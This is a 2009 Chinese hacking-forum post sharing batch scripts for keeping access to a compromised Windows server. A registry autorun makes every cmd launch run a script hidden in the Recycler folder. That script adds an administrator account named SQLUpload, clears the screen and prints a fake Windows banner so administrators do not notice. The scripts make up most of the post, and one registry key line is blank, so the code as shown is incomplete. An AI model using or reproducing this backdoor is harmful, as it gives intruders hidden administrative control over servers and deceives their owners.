小心,CMD也闹鬼
本帖最后由 世上闲人 于 2009-5-21 20:35 编辑NTFS分区的回收站是:Recycler而不是Recycled
我为什么说NTFS分区呢?因为大部分服务器为了安全,都把分区给转换为了NTFS分区(我见过N多服务器,暂时没见过别的分区格式的)
而冰的原点批处理是以FAT32类型的回收站,也就是:Recycled
并且执行cmd命令后,会有命令执行完成的提示,稍微有点常识的管理员就会认识到服务器被提权鸟。
这个问题也纠缠了我半天,后来想到了清屏命令,所以就改了下批处理。
ECHO Windows Registry Editor Version 5.00>door.reg
ECHO >>door.reg
ECHO "autorun"="c:\\Recycler\\1.bat">>door.reg
REGEDIT /S door.reg
DEL /F /Q door.reg
copy 1.bat c:\\Recycler\\1.bat /Y
用记事本保存为:注册系统环境.bat
@ECHO OFF
net user SQLUpload ducun /add
cls
net localgroup administrators SQLUpload /add
cls
@ECHO Microsoft Windows 2003 [版本 5.1.2600]
@ECHO (C) 版权所有 1985-2001 Microsoft Corp.
用记事本保存为:1.bat
注意:1.bat要和注册系统环境.bat放在同一目录,这样每次运行cmd就不会提示命令执行完成了,唯一的缺点就是清屏时会有闪烁。
页:
[1]